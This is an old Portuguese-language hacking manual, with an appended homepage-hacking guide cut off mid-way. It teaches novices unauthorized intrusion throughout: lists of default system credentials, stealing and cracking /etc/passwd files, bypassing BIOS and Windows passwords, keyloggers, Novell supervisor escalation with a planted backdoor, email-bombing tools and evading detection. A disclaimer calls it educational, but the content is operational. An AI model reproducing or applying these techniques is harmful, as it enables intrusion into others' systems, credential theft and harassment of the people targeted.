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Manual
Hacker
Versão 1.0
por
Wild Crash
Aviso
Em primeiro lugar: Eu não me
responsabilizo pelo uso
indevido
das
informações, exemplos, descrições,
enfim tudo o que estiver
contido aqui.
TUDO o que você fizer com o
material contido aqui sera de
plena
responsabilidade
SUA. Tudo aqui contido é apenas de
carácter EDUCATIVO.Repito,
eu não me responsabilizo por
NADA que você fizer.
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Índice
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1.
Introdução
1.1 Falta de informação
1.2 Vamos ao que interessa!
2. Definições
2.1 O que é um Hacker?
2.2 O que é Hacking?
2.3 Por quê hack?
2.4 A diferença entre Hackers e Crackers
2.5 Regras Hackers
2.6 Onde começar
3.
Entendendo os sistemas
3.1 Telenet
3.2 Sistemas Operacionais
3.3 Definições
4.
Vírus, Trojan Horses e Worms
4.1 Vírus
4.2 Trojan Horse (Cavalo de Tróia)
4.3 Worm
5.
PGP
6.
HACK (A melhor parte)
6.1
- HACK PC
6.1.1 Password do BIOS
6.1.2 Password do Windows
6.1.3 Password do screen saver do Windows
6.1.4 Proteção de documentos do Word
6.1.5 Proteção de arquivos ZIP
6.1.6 Proteção de arquivos ARJ
6.1.7 Copiando digitações ou macros de um micro
6.1.8 Um editor hexadecimal
6.1.9 Escondendo informações
6.2
- HACK MODEM
6.2.1 Encontrando o sistema
6.2.2 Sistemas UNIX
6.2.3 Sistemas VAX/VMS
6.2.4 Sistemas PRIME
6.2.5 Rede Novell
6.2.6 Passwords muito utilizados
6.2.7 E-mail
7.
O Autor
7.1 Como contatar o Autor
8.
Documentos utilizados na criação do Manual
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1
- Introdução
----------------------------------------------------------------
1.1
- Falta de informação
Todos os textos que eu via na WEB ou em BBS's tinham uma
falta de in-
formação inacreditável. Na verdade, eu imagino que eles
sabiam e estavam re-
gulando informação (o que eu não concordo, as informações
devem ser comparti-
lhadas!), ou não sabiam porra nenhuma e só diziam as drogas
que viam em ou-
tras páginas.
Então, nesse manual, estou disponibilizando todas as
informações para
os Hackers novatos!
Obs.: Os lamers são bem vindos contanto que sejam
esforçados e queiram
aprender.
1.2
- Vamos ao que interessa!
Bom... agora vamos ao que interessa! Você encontrar nesse
manual, a-
quilo que você sempre quis saber e ninguém te dizia. As
fórmulas milagrosas
para invadir sistemas, enfim... TUDO! Faça bom proveito!
----------------------------------------------------------------
2
- Definições
----------------------------------------------------------------
2.1
- O que é um Hacker
Tudo isto que vocês pensam dos Hackers foi criado
possivelmente com a
publicidade gerada pelos filmes que tratam do assunto,
como: Jogos de Guerra
e agora com os mais recentes A rede e Hackers.
São aqueles possuem muitos, senão todos, os conhecimentos
acima - isso
não é uma regra, mas não usam para os mesmos propósitos e
as vezes auxiliam
os próprios técnicos em segurança e os webmasters a
proteger seus sistemas.
São de uma inteligência e determinação muito superiores a
de uma pes-
soas comuns, pois eles são capazes de passarem semanas ou
até mesmo meses
lendo e aprendendo de um novo sistema, apenas com o
propósito de saber e uti-
lizar esses sistemas.
Um Hacker, é um sabichão. Justamente por saber muito, ele
tem condições
de "aprontar" por ai. O Hacker sempre quer aprender mais um
pouco e normal-
mente acaba perdendo horas de sono por isso. É aquele que
tem prazer em sen-
tar em frente de seu micro e ficar horas e horas buscando
nem sabe o quê.
Naturalmente xereto, o Hacker adora invadir sistemas
alheios para sim-
plesmente preencher seu ego. Muitas de suas façanhas podem
ser discutiveis ao
nível social, mas o verdadeiro Hacker não costuma estragar
nada, subtrair
programas, ou sequer roubar informações em detrimento de
outrem.
O Hacker é, acima de tudo, um intelectual informatizado.
2.2
- O que é Hacking?
Hacking é o ato de penetrar em sistemas de computadores
para ganhar ma-
is conhecimento e entender como é seu funcionamento. Em
português hack signi-
fica corte, entalhe.
2.3
- Por quê hack?
Como já foi dito anteriormente, o hack é feito para a
aprimorar os co-
nhecimentos de uma pessoa em relação a um sistema de
computadores. Hackers
não destrõem, não roubam e nem espionam informações por
dinheiro.
2.4
- A diferença entre Hackers e Crackers<
Os Crackers são os que a imprensa confunde com os hackers,
são aqueles
que invadem sistemas com o propósito de roubar programas ou
simplesmente apa-
gá-los, são inteligentes, porém, em sua maioria,
prepotentes, pois deixam men-
sagens do tipo: "Eu sou o melhor ! / Apaguei e escapei
!"entre outras, dei-
xando na maioria das vezes um rastro que possibilita sua
captura. Possuem co-
nhecimentos semelhantes aos phreaks mais com propósitos um
pouco mais destru-
tivos.
Um exemplo recente foi a prisão de Kevin Mitnick, o "ladrão
K(?) ciber-
nético mais procurado da história, capturado pelo FBI com a
ajuda do Tsutomu
Shimomura, o técnico de segurança mais respeitado da
história (?).
Um Cracker é o que utiliza de suas habilidades em proveito
próprio, não
importando quantos ou quais prejuízos cause. Este é um
elemento perigoso, que
muitas vezes acaba por se auto-destruir. Normalmente coloca
vírus em computa-
dores, descobre senhas para vender a empresas, destrói
informações, corrompe
sistemas e apronta tudo que pode.
2.5
- Regras Hackers
1- Nunca destruir nenhum sistema.
2- Nunca alterar nenhum dos arquivos do sistema, a não ser
que seja necesá-
rio para esconder a sua presença ou garantir a sua entrada
posteriormente.
3- Não compartilhe com ninguém seus projetos hackers, com
ninguém
4- Em uma BBS, não é aconselhável que você discuta seus
projetos hackers.
BBS's podem ser monitoradas pelo governo.
5- Nunca dê nomes ou telefones reais em uma BBS.
6- Nunca deixe seu apelido em um sistema que você entrou.
7- NãO entre em computadores governamentais.
8- Nunca converse sobre seus planos hackers com outra
pessoa do telefone de
sua casa.
9- Seja atento. Mantenha todo o seu material hacker em um
lugar seguro.
10- Para se tornar um verdadeiro hacker você deve
simplesmente praticar.
2.6 - Onde começar
Começe com sistemas pequenos como em universidades ou
escritórios. De-
pois passe para redes maiores como telenet. A telenet é
altamente recomendada
para novatos, pois ela tem um sistema de segurança muito
vago. São milhares
de conexões ao mesmo tempo, o que torna praticamente
impossível a monitoração
de um usuário (você).
----------------------------------------------------------------
Entendendo
os Sistemas
----------------------------------------------------------------
3.1
- Telenet
Telenet ou simplesmente Telnet, ‚ um sistema de
interligação de compu-
tadores. Telnet é a internet das BBS's. São vários
computadores, com seu sis-
tema operacional próprio, associados próprios e arquivos
próprios se interli-
gando e compartilhando informações.
Abaixo, se encontra uma lista com os principais comando da
Telnet:
-----------------------------------------------------------------------------
@
- command prompt
------------------------------------------------------------------------------
? - comando errado
------------------------------------------------------------------------------
Access Bared - A sua conexão não permite esse acesso
------------------------------------------------------------------------------
Access to This Address not permitted - Seu Nui não é
autorizado a acessar es-
se endereço
------------------------------------------------------------------------------
Attempt Aborted - Desconectando do sistema
------------------------------------------------------------------------------
Busy - Todas as portas e destinos estão sendo usados
------------------------------------------------------------------------------
Collect Wats Call Not Permitted - Collect Wats calls não
são permitidos pelo
seu host o pelo Nui
------------------------------------------------------------------------------
Connected - Conectado
------------------------------------------------------------------------------
Connection From - Seu terminal recebeu uma chamada
------------------------------------------------------------------------------
Connection Pending - O sistema está se conectando com o Nua
(digite d bye pa-
ra desconectar de imediato)
------------------------------------------------------------------------------
Disconnected - Seu terminal foi desconectado pelo que você
ligou
------------------------------------------------------------------------------
Enhanced Network Services System Error - Sua chamada não
pode ser validada
------------------------------------------------------------------------------
Enhanced Network services unavailable at this time -
Serviço temporariamente
desligado
------------------------------------------------------------------------------
Illegal Address - o endereço que você netrou é inválido
------------------------------------------------------------------------------
Invalid Charge Request - sua seleção de pagamento é
inválida
------------------------------------------------------------------------------
Invalid User Id or Password - O Nui que você digitou é
inválido
------------------------------------------------------------------------------
Local Congestion - Seu número de acesso local esta ocupado
------------------------------------------------------------------------------
Local Disconnect - Seu terminal foi desconectado
------------------------------------------------------------------------------
Local Network Outage - Um problema temporario esta o
afastando da network
------------------------------------------------------------------------------
Local Procedure Error - Problemas na comunicação forçaram a
network limpar a
sua conexão
------------------------------------------------------------------------------
Not Available,Not Operating,Not Responding - O computador
não pode aceitar o
seu pedido
------------------------------------------------------------------------------
Not Connected - Voce entrou com um comando que só funciona
conectado ao sis-
tema certo
------------------------------------------------------------------------------
Not Reachable - Uma condição temporária deixou voce sem
acesso a network.
------------------------------------------------------------------------------
Password - É o prompt que aparece quando voce entra na Nui
------------------------------------------------------------------------------
*** Possible Data Loss - conexão resetada
------------------------------------------------------------------------------
Refused Collect Connection - O sistema pago selecionado,
precisa ser pago an-
tes da liberação
------------------------------------------------------------------------------
Rejecting - O host não aceitou a chamada
------------------------------------------------------------------------------
Remote Procedure Error - Problemas de comunicação, forçaram
a network derru-
bá-lo
------------------------------------------------------------------------------
Still Connected - Voce se conectou em dois serviços ao
mesmo tempo
------------------------------------------------------------------------------
Telenet XXX XXX - A porta que voce esta usando
------------------------------------------------------------------------------
Terminal - terminal prompt
------------------------------------------------------------------------------
Unable to validate call - Seu Nui foi temporariamente
desligado
------------------------------------------------------------------------------
Unable to validate call contact admin - The Nui has been
permently disabled
Unknown Adress - Seu Nua deve ser in-
válido
------------------------------------------------------------------------------
Wats Call not permitted - Telenet In-wats calls não são
permitidas pelo seu
host ou Nua
3.2
- Sistemas Operacionais
Existem v rios tipos de sistemas operacionais hoje em dia.
Os mais co-
nhecidos são o UNIX, o VAX's, o PRIME e a rede Novell. Os
textos sobre como
entrar nesses sistemas estão na seção 6.2 - HACK MODEM. O
remote Access tam-
bém é bem conhecido, mas é mais usado em programas
específicos ou em BBS's.
3.3 - Definições
Access Number - O numero que voce disca para acessar
diretamente a network
(duh).
Nua (Network Users Address) - Nua é, basicamente, um número
que voce disca
para acessar um serviço particular qualquer. Dentro do
sistema voce pode usar
os recursos internos, ou pode acessar um Nua com um serviço
específico para
cada numero.
Nui (Network User Identification) - Nui é uma conta com
password da network,
como nas BBS só que aqui voce pode desfrutar de vários
serviços e sistemas
diferentes.
DNIC (Data Network Identification Code) - DNIC é um código
de 4 digitos. Pen-
se que o DNIC é o prefixo e o Nua é seu número de telefone
telefone.
Outdial - Outdial é um modem conectado a network que,
ligado a ele, voce pode
fazer chamadas para fora da network como um telefone
pessoal etc...
----------------------------------------------------------------
4 - Virus, Trojan Horses
e Worms
----------------------------------------------------------------
4.1
- Virus
Virus é um programa independente que se auto reproduz. Ele
ir se aclo-
par em outros programas e fazer cópias de si mesmo
espalhando-se pelo win-
chester. O intuito do virus é destruir o corruptar
informações do disco rigi-
do ou baixar o rendimento do micro rodando programas
maiores que a memória
disponível. Antivirus, só retiram os vírus que eles forem
programados. Nenhum
programa pode o proteger 100 % de vírus, pois a cada
momento estão sendo fa-
bricados novos vírus em qualquer parte do mundo.
4.2
Trojan Horse (Cavalo de Tróia)
O cavalo de tróia é um programa que, como o vírus, se
aclopa em um ar-
quivo do winchester de um microcompurador infectado. Eles
tem o intuito de
roubar informações preciosas como passwords ou logins e,
depois, enviá-las a
seu "dono"pela network automaticamente. Alguns antivírus
retiram os Trojans
outros não, mas nenhum retira todos.
4.3
Worm
Worm é o tipo de programa mais inteligente já criado. Ele
não só se es-
palha pelo computador e espera pela sorte de infectar outro
atravéz de um
disquete contaminado, ele tem o poder de se espalhar por
toda a network. Os
worms podem infectar toda uma rede de sistemas e fazer
nelas um bom estrago.
-----------------------------------------------------------------
5
- PGP
-----------------------------------------------------------------
PGP
ou Pretty Good Privacy é um programa de computador que
encripta e
decripta informações. Voce pode mandar e-mails ou até
arquivos encriptados
para uma pessoa que, com o mesmo PGP que você usou para
encriptar, pode de-
criptar as informações e usá-las sem correr o risco de
outra pessoa intercep-
tá-la.
O PGP somente funciona quando é utilizada uma PUBLIC KEY.
Tanto o des-
tinat rio quanto o remetente precisam ter o mesmo PGP key,
pois é com ele que
as informações são enctiptadas e decriptadas pelo seu
programa.
-----------------------------------------------------------------
6
- Hack ( a melhor parte)
-----------------------------------------------------------------
Essa
sessão é dividida em duas partes: 1- HACK PC; 2- HACK
MODEM.
Obs.: Na maior parte das explicaçoes abaixo são necessários
VáRIOS
programas. Todos eles estao disponiveis na Fou HomePage (O
endereço está no
fim do Manual.
-----------------------------------------------------------------
6.1
- Hack PC
-----------------------------------------------------------------
6.1.1
Password do BIOS
Para quebrar o password do BIOS você pode encontrar duas
situações:
1- Se você pegar o computador depois que o password foi
passado corretamente,
use um desses programas:
amipsw.com (230b)
ami.com (555b)
aw.com (1,83k)
amidecod.com (1,79k)
2- Se você pegar o computador desligado ou esquecer o
password:
- Ligue o micro e entre o setup;
- Anote TODOS os dados em um papel;
>
- Desligue e abra a CPU;
- Ache uma bateria na motherboard e rettire-a;
- Espere uns 20 minutos e recoloque a bbateria;
- Ligue o micro novamente e entre no seetup;
- Re-configure todos os dados que você anotou.
_________________________________________________________________
6.1.2
Password do Windows
Para quebrar o password do Windows 3.x voce deve
digitar"ctrl+alt+del"e
depois "enter"quando aparecer a caixa de verificação.
Depois que voce passou
o password, edite o arquivo win.ini e apague as linhas
"load="e "run=".
Para
quebrar o password no WIN95:
1 - Se a caixa de verificação que aparecer for Password
Logon, simples-
mente clique em cancel que o sistema vai entrar.
2 - Se a caixa de verificação for Windows Password, digite
"ctrl+alt+del", escolha a janela do password na lista que
aparecer e clique
em "End Task". Com o password passado, edite o arquivo
win.ini e apague as
linhas "load="e "run=".
_________________________________________________________________
6.1.3
Password do screen saver do Windows
Para retirar o password de Screen Saver do Windows 3.x voce
deve editar
o arquivo control.ini, apagando tudo o que tiver na area do
password.
Para retirar o password do Screen Saver do WIN95, renomeie
todos os ar-
quivos de extensão .pwl do diret¢rio do windows. Anote os
nomes alterados em
um papel para eventuais problemas.
Para
desligar o screen saver sem ter o password no win 3.1
(ainda não
foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e
enter várias vezes
que o screen saver ‚ fechado.
________________________________________________________________
6.1.4
Proteção de documentos do Word
Para retirar a proteção dos documentos do word use esse
programa:
wfwcd.zip (19,8k)
________________________________________________________________
6.1.5
Proteção de arquivos ZIP
Para quebrar o password de arquivos ZIP use esse programa:
zipcrack.zip (12,3k)
________________________________________________________________
6.1.6
Proteção de arquivos ARJ
Para quebrar o password de arquivos ARJ use esse programa:
brkarj10.zip (13,1k)
________________________________________________________________
6.1.7
Copiando digitações ou macros de um micro
Para copiar teclas digitadas de um micro como passwords ou
logins use
um desses programas:
keycopy.zip - DOS - (3,31k)
keytrap.zip - WIN95 - (36,0k)
_________________________________________________________________
6.1.8
Um editor hexadecimal
Para quebrar alguns pogramas, passwords ou códigos de
entrada, é bom
que voce tenha em mãos um bom programa editor de
hexadecimal. Ele também é
utilizado para remover os numeros seriais de programas como
ACDSee 9.0 e
etc...
Hex Workshop 32bits (375k)
_________________________________________________________________
6.1.9
Escondendo informações
Para esconder informações ou até pequenos arquivos em
arquivos de ima-
gem do tipo .GIF (Compuserve), use esse programa:
Hide and Seek v. 4.1 (82,5k)
-----------------------------------------------------------------
6.2
- Hack Modem
-----------------------------------------------------------------
6.2.1
Encontrando o sistema
Para encontrar um computador com o sistema, voce deve
procurar pelas
linhas com um programa chamado War Dialer, ou se conectar
via Telenet ou ou-
tro sistema de interligação de computadores.
War Dialer: VMB Hacker (40,7k)
_________________________________________________________________
6.2.2
Sistemas UNIX
1. Entrando no sistema - Para entrar no sistema, você deve
entrar com um "lo-
gin", que pode ter de 1 a 8 dígitos e um password que pode
ter de 6 a 8 dígi-
tos. Dai voce tem tres saídas:
1. Arrumar a lista de passwords com um hacker
2. Tentar entrar com os defaults
3. Ver quem est on-line com os comandos: who, rwho, finger;
e tentar en-
trar com seus logins mais tarde.
Defaults são logins e passwords que já vem com o sistema.
Eles ficam residen-
tes até que o sysop o desliguem, então voce pode dar a
sorte de encontrar um
esquecido. Veja lista abaixo.
Login: Password:
root root
root system
sys sys
sys system
daemon daemon
uucp uucp
tty tty
test test
unix unix
unix test
bin bin
adm adm
adm admin
admin adm
admin admin
sysman sysman
sysman sys
sysman system
sysadmin sysadmin
sysadmin sys
sysadmin system
sysadmin admin
sysadmin adm
who who
learn learn
uuhost uuhost
guest guest
host host
nuucp nuucp
rje rje
games games
games player
sysop sysop
root sysop
demo demo
----------------------------------------------------------------
2.
Dentro do sistema: Dentro do sistema, a primeira coisa
que voce deve fazer
é copiar o arquivo da lista de passwords. Ele se est em:
/etc/passwd. Nesse
arquivo, voce vai encontrar as informações na seguinte
sintaxe:
username:password:UserID:GroupID:descrição ou
nome:homedir:shell
Ex.: fou:234abc56:7148:34:Fausto
Morais:/home/dir/fou:/bin/fou
Username: fou
Encrypted Password: 234abc56
User Number: 7148
Group Number: 34
Other Information: Fausto Morais
Home Directory: /home/dir/fou
Shell: /bin/fou
Esse arquivo muito prov velmente estar encriptado. O
password estar escon-
dido e, sem um programa para decript -la, a lista ser
in£til. O programa de
decripta‡Æo do password UNIX, trabalha em cima de um dicion
rio pr‚ moldado,
comparando as palavras com o texto encriptado. ? bom
lembrar que o Brute For-
ce nÆo ir decriptar a lista. Ele ir tentar comparar
palavras encriptadas
por uma lista de nomes com a lista de passwords. Quando ele
encontrar seme-
lhanças (ex. duas palavras igusia com a mesma decriptacao)
ele para e d a
lista pronta.
Brute
Force (14,4k)
Dictionary Maker (7,73k)
Antes de usar o programa decriptador que nao d certeza de
sucesso,
tente encontrar um login sem password pois assim, voce só
precisar digitar o
login para entrar no sistema. Ex.:
fou::7148:34:Fausto Morais:/home/dir/fou:/bin/fou
Depois da lista de passwords, pegue os seguintes arquivos:
/etc/group - é a lista de newsgroups e seus passwords
tambem encriptados.
sintaxe - groupname:password:group id:users in group
/etc/hosts - é a lista de hosts conectados ao sistemas.
étil quando a co-
nexão é via telenet ou rlogin.
/usr/mail/<user name> - é onde estÆo guardadas as mensagens
de cada usu -
rio.
_______________________________________________________________
6.2.3
Sistemas VAX/VMS
Para entrar no sistema VAX/VMS, voce deve proceder da mesma
maneira que
fez no UNIX: Arrume a lista de passwords, entre com o login
de alguem ou ten-
te os defaults.
Username: Password:
system operator
system manager
system system
system syslib
operator operator
systets uetp
systest systest
systest test
sysmaint sysmaint
sysmaint service
sysmaint digital
field field
field service
guest guest
guest sem password
demo demo
demo sem password
test test
decnet decnet
----------------------------------------------------------------
Dentro
do sistema não há muito o que fazer. Voce pode
tentar pegar a
lista de passwords em: SYS$SYSTEM:SYSUAF.DAT, mas
normalmente, ela nao esta
disponivel para os usu rios
Tome muito cuidado quando tentar quebrar o sistema VAX's,
pois ele
guarda todos os bad logins e bad passwords, podendo rastre
-lo na sua pr¢xima
tentativa. Se voce quiser mesmo tentar, entre com alguns
passwords em um dia,
espere e tente novamente no dia seguinte...
_______________________________________________________________
6.2.4
Sistemas PRIME
Para entrar no sistema PRIME voce dever fazer as mesmas
coisas que fez
no UNIX e no VAX's.
Username: Password:
prime prime
primos primos
primos prime
primos_cs prime
primos_cs primos
primenet primenet
system system
system prime
system primos
netlink netlink
test test
guest guest
guest1 guest
________________________________________________________________
6.2.5
Rede Novell
1. Entrando no Sistema - Para quebrar a rede Novell voce
deve utilizar
os mesmos recursos que usou para entrar nos sistemas UNIX
ou VAX's. Na Novell
voce tambem pode tentar alguns defaults. Os defaults da
rede Novell sao usa-
dos para a conexÆo com portas externas como impressoras,
fax e etc..., todos
sem password. Abaixo estÆo alguns defaults:
Login:
superisor
guest
admin
user_template
print
laser
hp_laser
printer
laserwriter
post
mail
gateway
gate
router
backup
wangtek
fax
faxuser
faxworks
test
archivist
chey_archsvr
windows_passthru
-----------------------------------------------------------------
Se
voce conseguir entrar com esses defaults, voce pode
conseguir a lis-
ta com os logins verdadeiros fazendo o seguinte: v ao
diret¢rio SYS:PUBLIC,
digite SYSCON e de enter. Entao v a User Information e veja
a lista com to-
dos os logins desse servidor. Esses logins só poderao ser
utilizados se esti-
verem sem password, pois a lista s¢ mostra os nomes. Nunca
tente chutar o
password de um usu rio, pois o computador armazena o numero
de vezes que uma
senha foi digitada errada e manda para o usu rio verdadeiro
quando ele se co-
necta. Esse sistema de segurança se chama Intruder
Detection.
Se voce nao conseguir entrar com esses logins, faça o
seguinte: no
prompt do DOS digite NETX ou VLM, para rodar a rede TSRs e
escreva CX /T /A
/R. Com isso voce, provavelmente conseguir a lista dos usu
rios.
2. Conseguindo Supe Acess - Para conseguir um acesso
Supervisor, que ‚
muito importante para fazer uma backdoor ou utilizar outros
recursos use esse
programa:
nw-hack.zip (25,8k)
Os
problemas de usar o nw-hack sao os seguintes: O password
Supervisor
é mudado para SUPER_HACKER; Todas as contas no servidor tem
acesso Supervi-
sor; o administrador do sistema logo saber que voce entrou
na rede e acabar
com os previlegios do acesso Supervisor mudando tambem seu
password. A £nica
coisa que voce pode fazer é deixar uma backdoor ou "porta
dos fundos".
3. Deixando uma Porta dos Fundos - Uma porta dos fundos com
previlegios
de acesso Supervisor é como uma assinatura gr tis. Para
fazer isso, voce deve
utilizar o seguinte programa:
super.zip (31,3k)
Esse programa foi escrito exatamente para deixar o usu rio
desligar e
ligar o acesso Supervisor na hora que quiser. Faça então o
seguinte:
- Consiga aceso Supervisor com o nw-haccker;
- Ligue sua conta para supe equivalencyy com o super.exe;
- Se voce ganhar acesso Supervisor, de supe equivalency a
algum dos de-
faults (Guest, test, archivist, chey_archsvr...);
- Saia e entre na rede com o default quue voce deu a supe
equivalency e
ligue o acesso Supervisor com o super.exe;
- Saia e entre novamente com o login quue voce utilizou
primeiro;
- Remova o acesso Supervisor.
Agora o default que voce escolheu pode ser ligado e
desligado por voce,
na hora que voce quiser para ter acesso Supervisor.
________________________________________________________________
6.2.6
Passwords muito utilizados
Se nÆo houver outro jeito e voce precisar chutar os
passwords, chute
com inteligência e não v começando: aaa, aab, aac, aad ...
Os passwords mais
utilizados aqui no Brasil são:
- Times de futebol;
- Telefone;
- Sobrenome;
- Nome de computadores (pentium, ibm, eetc são encontrados
com frequên-
cia);
- Apelidos;
- Nome de pessoas famosas;
- Passwords de teclas seguidas. Ex.: qwwerty, asdfgh, zxcvbn
ou aaa,
bbb, ccc. O usuário que usa desse tipo de password não
pensa em
hackers quebrando sua senha e sim na velocidade para dar
login.
Por isso, quando você escolher seu password, faça uma
mesclagem de le-
tras e números. Ex. mouse/1997 - m1o9u9s7e. Parece óbvio,
mas ninguém vai
chutar um password desse tipo quando tentar quebrar seu
login.
________________________________________________________________
6.2.7
E-mail
Nesta sessão voce encontrar arquivos para enviar e-mails
bombs, e-mail
sem remetente e os famosos PGPs.
Unabomb (59,9k) Para bombear o e-mail de alguém.
Upyours 3.0 (+-2Mb) O melhor programa de e-mail bomb
Anonimail (71,3k) Para enviar e-mails anônimos
AEgis Shell for PGP (2,6Mb) Um dos melhores programas de
encripta-
ção
Se
você quiser enviar um E-Mail para Usenet, mande a
mensagem para
<NEWSGROUP>@<SERVERNAME>, por exemplo.
Grupo: fou.morais
Gateway: news.demon.co.uk
Endereço: [email protected]
Abaixo est uma lista com alguns gateways:
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
-------------------------------------------------------------------------
Unabomber
Devido ao grande número de pedidos de ajuda no uso do
Unabomber, aqui
vai um tutorial completo sobre o programa.
INSTALAÇÃO: Descompacte o arquivo em um diretório qualquer.
Copie o
arquivo iport.vbx para o system do Windows, arrume (faça
download na Inter-
net) um vbrun300.dll e copie tambem para o system.
USO: Rode o programa, na área "Mail Server" escreva o
servidor que vo-
ce usa para mandar E-Mails. (Veja isso na configuração do
seu programa de
mensagens) Escreva entÆo o endereçoo da vítima em "To", o
endereço que você
quer ter em "From", e sua mensagem como você escreve
normalmente. A rea
"Apparent Server", ‚ o servidor que vai aparecer como
remetente na mensagem
que você enviar.
OBS:
O remetente na mensagem estar escondido para pessoas
comuns. Ha-
ckers, programadores ou qualquer especialista poder
descobrir o endereço do
idiota que o bombeou. NÃO VACILE... Este programa serve
para ser usado com
lammers, portanto bombeie lammers.
-------------------------------------------------------------------------
A CASUCA DESIGNER não se
responsabiliza pelo uso das informações aqui colocadas se você fizer algo
errado problema seu, não vai dizer que aprendeu na minha HP, divulgação eu
quero problema não...
>>COMO
SE TORNAR UM HACKER<<
Não
existe nenhum livro ou material específico em como ser tornar um hacker. Não
existe uma fórmula mágica e nem como se tornar um hacker do dia para a noite.
Um hacker se faz após anos de muita leitura e estudo. Basicamente toda a
informação que você necessita para se tornar um hacker já está disponível
na rede, o que você tem que fazer é vasculhar e achar as informações. Está
certo que isto não é uma tarefa muito fácil, mas quem disse que ser um hacker
é fácil?
Qualquer
um pode ser um hacker ou médico ou engenheiro ou etc. Desde que você se
informe e estude.
Para
você que algum dia pensa em ser um hacker aqui estão algumas dicas no que você
deve concentrar seus esforços e começar a aprender:
Conheça
a fundo um sistema operacional como o Windows 95, Unix, Windows NT ou MacOS. Com
ele é que você ira entender como quebrar a segurança ou então como funciona
a segurança, no caso do Windows NT que possui certificado C2 de nível de
segurança, é mais difícil, mas não impossível.
Aprenda
uma linguagem de programação como VisualBasic (específica para a plataforma
Intel) ou C (para qualquer plataforma). Você escrevendo pequenos programinhas
pode deixar um programa rodando em paralelo para descobrir a senha de acesso.
Aprenda
a usar o comando TELNET do Unix para se logar em máquinas remotamente e copiar
aquele programa oculto que falta para você entrar no sistema ou então
cadastrar um usuário fantasma para entrar no sistema.
Aprenda
como funcionam as redes e quais são os tipos de redes existente. Hoje em dia, a
maioria dos computadores estão interligados e você conhecendo as arquiteturas
e protocolos utilizados facilita bastante o acesso.
Aprenda
o protocolo TCP/IP, o protocolo que é usado hoje em dia na Internet. Isto se
você quiser ser um hacker da net.
E
depois de fazer isso, aconselho que você leia uns bons livros sobre invasão e
quebras de senha, que podem ter seus títulos encontrados aqui mesmo na net, e
depois disso quem sabe você não seja um verdadeiro hacker!!!
>>HACKEANDO HOME
PAGES<<
1-INTRODUÇÃO
:
O
texto a seguir fala sobre como hackear uma home page. Aqui estão as suas seções
: Precauções-cuidados que você deve tomar. Sobre as senhas-arquivos falando
sobre as senhas. Desencryptando as senhas-como desencryptar senhas. Ftp-como
hackear uma HP por ftp. Phf-como hackear uma HP usando o método phf Home page
grátis-como hackear servidores de home page grátis Home page grátis 2-Outro método
de como hackear servidores de home pages grátis Já cadastrado-Como hackear uma
home page que você já tenha cadastro no mesmo servidor Telnet e exploits-Como
hackear uma page usando telnet e exploits Já cadastrado 2-Outro metodo de como
hackear uma hp que você já tenha cadastro no mesmo servidor.
2-PRECAUÇÕES:
Nesse
texto vou ensinar deversos métodos de como hackear uma home page. Queria avisar
que hackear uma home page é considerado crime e que isso dá cadeia. Toda vez
que você entra em um sistema seu IP fica gravado e "eles" vão poder
te encontrar. Portanto antes de cometer um ato como esse eu sugiro que vocês
tomem umas medidas de segurança como spoofing e etc...
3-SOBRE
AS SENHAS :
A
senha esta em um arquivo chamado passwd. Esse arquivo está normalmente em um
diretório chamado etc/passwd. Então vamos falar um pouco sobre o passwd.
Quando você pega o arquivo passwd, a senha pode vir encryptada ou então com
shadow! A diferença é que a senha encryptada é a própria senha só que esta
encryptada e a senha com shadow faz com que a senha fique escondida em outro
lugar! Ou seja, não vai estar no passwd, vai estar em outro diretório. Para
obter a senha escrita você vai ter que desencripta-la! As senhas com shadow são
impossíveis de "desencryptar"! (levando em conta que você não tem
unix). Uma senha encryptada é mais ou menos assim :
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom
Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy
Bob:/usr/people/bbob:/bin/csh
Agora
o exemplo de uma senha com shadow :
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon
user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/
usr/lib/uucp/uucico
listen:x:37:4:Network
Admin:/usr/net/nls:
nobody:x:60001:60001:uid
no body:/:
noaccess:x:60002:60002:uid
no access:/:
webmastr:x:53:53:WWW
Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper
Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous
FTP:/export/home/anon_ftp:/bin/false
Você
pode notar que tem um "x" no root! Esse x pode ser representado também
por um "*". Agora você já sabe um pouco mais sobre o arquivo passwd
e sobre as senhas.
4-DESENCRYPTANDO
:
Para
desencryptar uma senha precisaremos de três arquivos básicos. Uma word list,
um desencryptador (recomendo o crackerjack/jack 14)e logicamente o arquivo onde
está senha(passwd). O que é cada um? Word list- Como o próprio nome já diz,
é uma lista de palavras. Desencryptador- É o programa que você vai usar para
desencryptar a senha. Passwd- Nesse arquivo está a senha encryptada.
Coloque
todos esses itens nesse mesmo diretório. Abra o prompt do DOS e entre no diretório
onde eles estão. Agora faça o seguinte, digite : "nome do programa
desencryptador" "nome do arquivo onde esta a senha" "nome da
sua word list" Então vamos supor que meu programa é o jack, o arquivo é
o passwd, a word list é lista. Então ficaria assim : jack passwd lista.txt
E
pronto! A senha está desencryptada! Mas como isso funciona?? Quando você roda
o jack ele pega o arquivo passwd e testa com todas as palavras da word list.
5-FTP
Hackear
uma HP por ftp talvez seja o melhor metodo. É bem simples e rápido de ser
feito. Para fazer isso vamos usar o prompt do MS-DOS. Espero que você saiba
pelo menos mexer no básico do DOS. O que vamos faz é simplesmente entrar no
ftp da home page com login anonymous e fazer o download do arquivo passwd. Abra
o prompt do DOS. Você vai ter que entrar no ftp da HP que voce quer hackear.
Normalmente a endereço é o mesmo da home page. Então digite ftp www.hackers.com
Ele vai pedir seu USER. Coloque anonymous. Agora vai pedir que você coloque seu
e-mail completo como senha. Claro que você vai colocar alguma coisa qualquer,
tipo [email protected]. Você vai entrar no ftp como user anonymous e
retrictions applly! Isso significa que você entrou como anonymous e com restrições
